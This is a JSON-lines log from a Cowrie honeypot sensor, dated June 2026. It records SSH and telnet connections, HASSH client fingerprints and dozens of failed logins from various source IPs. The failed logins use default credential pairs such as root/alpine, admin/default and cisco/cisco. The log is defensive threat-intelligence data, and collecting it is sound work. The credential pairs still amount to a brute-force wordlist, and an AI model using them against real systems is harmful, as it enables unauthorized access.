{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:12.532125Z","src_ip":"152.32.214.226","session":"8b0914160f0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jb","password":"jb","message":"login attempt [jb/jb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:13.441959Z","src_ip":"152.32.214.226","session":"8b0914160f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:14.663610Z","src_ip":"152.32.214.226","session":"8b0914160f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.25281119346619,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:17.387498Z","src_ip":"107.6.151.170","session":"fb4c570174cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":60118,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9f885c9639a","protocol":"ssh","message":"New connection: 14.63.196.175:60118 (159.203.135.109:22) [session: c9f885c9639a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:26.886208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:26.891148Z","src_ip":"14.63.196.175","session":"c9f885c9639a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:27.092549Z","src_ip":"14.63.196.175","session":"c9f885c9639a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1@WSX","message":"login attempt [root/zaq1@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:27.941195Z","src_ip":"14.63.196.175","session":"c9f885c9639a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:29.144952Z","src_ip":"14.63.196.175","session":"c9f885c9639a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5851,"dst_ip":"10.17.0.5","dst_port":22,"session":"1242229ce389","protocol":"ssh","message":"New connection: 196.188.93.169:5851 (10.17.0.5:22) [session: 1242229ce389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:40.328023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:40.332569Z","src_ip":"196.188.93.169","session":"1242229ce389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:40.507867Z","src_ip":"196.188.93.169","session":"1242229ce389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antonio","password":"1234","message":"login attempt [antonio/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:41.236022Z","src_ip":"196.188.93.169","session":"1242229ce389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:42.412770Z","src_ip":"196.188.93.169","session":"1242229ce389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":39512,"dst_ip":"10.17.0.5","dst_port":22,"session":"e565154be83e","protocol":"ssh","message":"New connection: 87.106.47.28:39512 (10.17.0.5:22) [session: e565154be83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:52.497521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:52.501945Z","src_ip":"87.106.47.28","session":"e565154be83e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:52.599631Z","src_ip":"87.106.47.28","session":"e565154be83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lth","password":"123456","message":"login attempt [lth/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:53.022822Z","src_ip":"87.106.47.28","session":"e565154be83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":4541,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff73463ac191","protocol":"ssh","message":"New connection: 178.20.210.208:4541 (159.203.135.109:22) [session: ff73463ac191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:53.173315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:53.180344Z","src_ip":"178.20.210.208","session":"ff73463ac191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:53.277669Z","src_ip":"178.20.210.208","session":"ff73463ac191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"okxr654321","message":"login attempt [root/okxr654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:53.681178Z","src_ip":"178.20.210.208","session":"ff73463ac191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:54.122211Z","src_ip":"87.106.47.28","session":"e565154be83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:54.786080Z","src_ip":"178.20.210.208","session":"ff73463ac191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.223.17.178","src_port":40642,"dst_ip":"10.17.0.5","dst_port":22,"session":"468a276ab594","protocol":"ssh","message":"New connection: 154.223.17.178:40642 (10.17.0.5:22) [session: 468a276ab594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:59.697245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.10.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:59.704875Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19a8bc97d71fe02f6899cd96937a5202","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19a8bc97d71fe02f6899cd96937a5202","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:59.741045Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:59.963714Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.211.42.202","src_port":50380,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a20717b838","protocol":"ssh","message":"New connection: 176.211.42.202:50380 (10.17.0.5:22) [session: 54a20717b838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:00.422465Z"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:00.976330Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"kisan","message":"login attempt [user/kisan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:01.989865Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"contec","password":"contec","message":"login attempt [contec/contec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:03.023344Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"post","password":"post","message":"login attempt [post/post] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:04.037807Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:05.051684Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cisco","password":"cisco","message":"login attempt [cisco/cisco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:06.063767Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59634,"dst_ip":"159.203.135.109","dst_port":23,"session":"82a53fe4af7e","protocol":"telnet","message":"New connection: 128.199.8.54:59634 (159.203.135.109:23) [session: 82a53fe4af7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:06.162033Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpine","message":"login attempt [root/alpine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:07.076036Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super1234","message":"login attempt [super/super1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:08.089493Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:09.110900Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debbie","password":"debbie","message":"login attempt [debbie/debbie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:10.122596Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ipscan","message":"login attempt [root/ipscan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:11.134694Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:12.146692Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:13.158346Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":34460,"dst_ip":"10.17.0.5","dst_port":22,"session":"8940a3d91083","protocol":"ssh","message":"New connection: 181.188.176.242:34460 (10.17.0.5:22) [session: 8940a3d91083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:13.919566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:13.924021Z","src_ip":"181.188.176.242","session":"8940a3d91083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:14.093389Z","src_ip":"181.188.176.242","session":"8940a3d91083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"service","password":"service42","message":"login attempt [service/service42] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:14.170026Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rodrigo","password":"123456","message":"login attempt [rodrigo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:14.781391Z","src_ip":"181.188.176.242","session":"8940a3d91083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toor","password":"toor","message":"login attempt [toor/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:15.184321Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:15.947898Z","src_ip":"181.188.176.242","session":"8940a3d91083","protocol":"ssh"}
